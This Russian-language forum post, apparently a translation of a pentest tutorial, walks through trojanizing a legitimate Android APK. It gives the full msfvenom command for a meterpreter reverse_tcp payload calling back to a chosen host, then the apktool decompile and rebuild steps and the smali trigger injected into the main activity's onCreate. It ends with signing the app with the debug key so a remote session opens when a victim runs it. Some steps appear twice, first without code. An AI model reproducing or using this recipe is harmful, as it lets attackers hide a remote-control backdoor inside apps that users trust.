Большинству приложений Android не хватает достаточной защиты вокруг двоичного файла, и поэтому злоумышленник может легко троянизировать легитимное приложение с вредоносными нагрузками. Это одна из причин того, что мобильное вредоносное ПО так быстро распространяется в телефонах Android.
При оценке безопасности мобильных устройств попытки троянизировать приложение в рамках данной области могут быть полезны в качестве доказательства концепции, демонстрирующей заказчику влияние на репутацию бизнеса, если его приложение можно использовать в злонамеренных целях.
Шаг 1 - Генерация полезной нагрузки
Metasploit MsfVenom может генерировать различные виды полезных нагрузок, и его можно использовать для создания APK-файла, который будет содержать полезную нагрузку Meterpreter.
Создание APK полезной нагрузки через Metasploit
Шаг 2 - декомпилировать APK
Прежде всего необходимо декомпилировать целевое приложение и созданный ранее pentestlab.apk. Это может быть достигнуто с использованием
Декомпиляция APK
Шаг 3 - Внедрение полезных файлов
Файлы полезной нагрузки из pentestlab.apk необходимо скопировать в папку smali, где находится весь код приложения. В частности, две папки:
Шаг 4 - Внедрение тригера
Изучение файла манифеста Android приложения может помочь определить, какое основное действие запускается при открытии приложения. Это необходимо, потому что иначе полезная нагрузка не будет выполнена.
Определение основной деятельности
Следующая строка, которая находится внутри в файле Main Activity, должна быть заменена следующим кодом:
Идентификация заменяемого кода
Следующая строка просто запустит полезную нагрузку metasploit вместе с существующим кодом при запуске действия.
Инжект тригера
Шаг 5 - Внедрение приложения с разрешениями
Чтобы сделать введенную полезную нагрузку более эффективной, в файл манифеста Android приложения можно добавить дополнительные разрешения, которые дадут больший контроль над телефоном, если пользователь их примет
Добавление разрешений Android
Шаг 6 - Перекомпилируйте приложение
Теперь, когда полезные данные и разрешения добавлены, приложение готово к повторной компиляции в виде APK-файла.
Построение инъецированного APK
Шаг 7 - Подпись APK
Приложения не могут быть установлены на устройстве, если они не подписаны. Ключ отладки Android по умолчанию может быть использован:
Подписание APK
С того момента, как приложение будет установлено и запущено на устройстве, откроется сеанс meterpreter.
Meterpreter с помощью встроенного Android APK
Перевод:
При оценке безопасности мобильных устройств попытки троянизировать приложение в рамках данной области могут быть полезны в качестве доказательства концепции, демонстрирующей заказчику влияние на репутацию бизнеса, если его приложение можно использовать в злонамеренных целях.
Шаг 1 - Генерация полезной нагрузки
Metasploit MsfVenom может генерировать различные виды полезных нагрузок, и его можно использовать для создания APK-файла, который будет содержать полезную нагрузку Meterpreter.
Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.169
LPORT=4444 R > pentestlab.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8839 bytes
Создание APK полезной нагрузки через Metasploit
Шаг 2 - декомпилировать APK
Прежде всего необходимо декомпилировать целевое приложение и созданный ранее pentestlab.apk. Это может быть достигнуто с использованием
Ссылка скрыта от гостей
. Следующая команда декомпилирует код и сохраняет его в файлы .smali
Код:
java -jar apktool.jar d -f -o payload /root/Downloads/pentestlab.apk
I: Using Apktool 2.2.2 on pentestlab.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
Декомпиляция APK
Шаг 3 - Внедрение полезных файлов
Файлы полезной нагрузки из pentestlab.apk необходимо скопировать в папку smali, где находится весь код приложения. В частности, две папки:
Код:
/root/Downloads/payload/smali/com/metasploit/stage
/root/Downloads/original/smali/com/metasploit/stage
Шаг 4 - Внедрение тригера
Изучение файла манифеста Android приложения может помочь определить, какое основное действие запускается при открытии приложения. Это необходимо, потому что иначе полезная нагрузка не будет выполнена.
Определение основной деятельности
Следующая строка, которая находится внутри в файле Main Activity, должна быть заменена следующим кодом:
Код:
;->onCreate(Landroid/os/Bundle;)V
Идентификация заменяемого кода
Следующая строка просто запустит полезную нагрузку metasploit вместе с существующим кодом при запуске действия.
Код:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Инжект тригера
Шаг 5 - Внедрение приложения с разрешениями
Чтобы сделать введенную полезную нагрузку более эффективной, в файл манифеста Android приложения можно добавить дополнительные разрешения, которые дадут больший контроль над телефоном, если пользователь их примет
Добавление разрешений Android
Шаг 6 - Перекомпилируйте приложение
Теперь, когда полезные данные и разрешения добавлены, приложение готово к повторной компиляции в виде APK-файла.
Код:
java -jar apktool.jar b /root/Downloads/original/
Построение инъецированного APK
Шаг 7 - Подпись APK
Приложения не могут быть установлены на устройстве, если они не подписаны. Ключ отладки Android по умолчанию может быть использован:
Код:
jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA /root/Downloads/original/dist/target.apk androiddebugkey
Подписание APK
С того момента, как приложение будет установлено и запущено на устройстве, откроется сеанс meterpreter.
Meterpreter с помощью встроенного Android APK
Перевод:
Ссылка скрыта от гостей
Последнее редактирование: